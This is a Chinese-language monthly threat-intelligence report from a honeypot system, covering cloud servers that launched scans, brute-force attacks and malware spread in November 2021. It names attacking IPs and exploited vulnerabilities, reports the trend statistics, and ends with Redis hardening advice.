公有云网络安全威胁情报(202111):云上多个资源对外发起攻击
1 概述
2021年11月,360网络安全研究院 Anglerfish蜜罐(以下简称“蜜罐系统”)共监测到全球53745个云服务器发起的网络会话9016万次,与10月份的数据相比略有下降,IP数量下降7.7%,会话数量下降2.1%。本月我们发现了涉及政府、事业单位、新闻媒体等多个行业的单位的8个云服务器IP地址在互联网上发起扫描和攻击。
2 云服务器攻击总体情况
11月22日~24日的突增主要是由以下两个IP地址造成的:一个是腾讯云119.45.229.133,在11月22~24日每天向蜜罐系统发送了数十万个敏感文件嗅探数据包以及上千个微软OMI漏洞探测数据包。另一个是位于荷兰的DigitalOcean云服务器188.166.54.243,该服务器在11月24日一天内向蜜罐系统发送了18万个Telnet暴力破解数据包。
按云服务商维度来看,与上月相比,来自腾讯云和DigitalOcean的攻击会话数量明显增多。特别是腾讯云的攻击会话数量从上月的10万左右增加到了本月超过100万。
10月份腾讯云攻击会话前三的IP地址和会话数分别为:43.128.26.129(21,128),1.117.219.218(1,615),1.116.214.89(1,089),本月攻击会话数量前三的IP地址和会话数分别为:119.45.229.133(1,189,312),162.14.66.133(23,213),152.136.132.251(4,188)。本月前3的IP发送的会话明显多于上月,119.45.229.133是本月腾讯云攻击会话暴涨最主要的原因,该IP主要是微软OMI wsman漏洞探测和敏感文件嗅探行为。
3 云服务器上的恶意行为
使用云产品进行攻击
11月份我们共监测到965个云服务器IP发起了约62.1万次密码爆破攻击,无论是攻击源IP数量还是爆破攻击数量都比上月明显增加,其中源IP数量增加13%,爆破攻击数量增加142%。Telnet仍然是最多被爆破攻击的协议。
以下是11月爆破攻击次数最多的10个IP地址,全部来自DigitalOcean,目标都是Telnet协议。

总体来看亚马逊AWS和阿里云的爆破IP数量最多,DigitalOcean的爆破会话数最多。
在传播木马病毒等恶意软件方面,11月份共有3817个云服务器IP传播了110种恶意软件约147.3万次。与10月相比,源IP和会话数都明显增加。其中会话数量增加了67%,IP数量增加15%。
本月,恶意挖矿程序(CoinMiner)无论是从传播IP数还是会话数都位列第一位,相比10月,传播恶意挖矿程序的IP数量增加了约16%,会话数量增加了约40%,说明云服务器传播恶意挖矿软件问题已经非常严重。

漏洞的扫描和攻击
Redis漏洞仍然是被云服务攻击者使用最多的漏洞。其他还包括SMTP协议扫描、敏感文件嗅探、Hyland拒绝服务漏洞攻击等。相比于10月,本月针对安防产品和路由器的云服务器攻击者相对较少。
Redis是被最多攻击者攻击的设备,攻击源IP数量远超其他。此外也有较多针对Hadoop、Atlassian、微软、Apache等厂商的设备的攻击。
从CVE编号来看,CVE-2018-19629是最多攻击源IP利用的有CVE编号的漏洞,攻击源IP数量约是第二多的CVE-2019-3396的4倍。
以下是利用的漏洞种类最多的10个IP。

5 防护建议
360 Anglerfish蜜罐具备威胁情报自动化输出能力,可监测云服务器在互联网上的恶意行为。本月的案例中,有3起案例都是云服务器在互联网上扫描默认端口TCP/6379的Redis服务器,发起漏洞攻击和传播恶意软件。建议Redis服务器的用户做好以下防护措施:
1) 更改默认端口号(TCP/6379)
2) 设置高强度的密码
3) 使用普通权限用户而不是root权限用户运行Redis
4) 做好防火墙配置,仅限特定主机访问
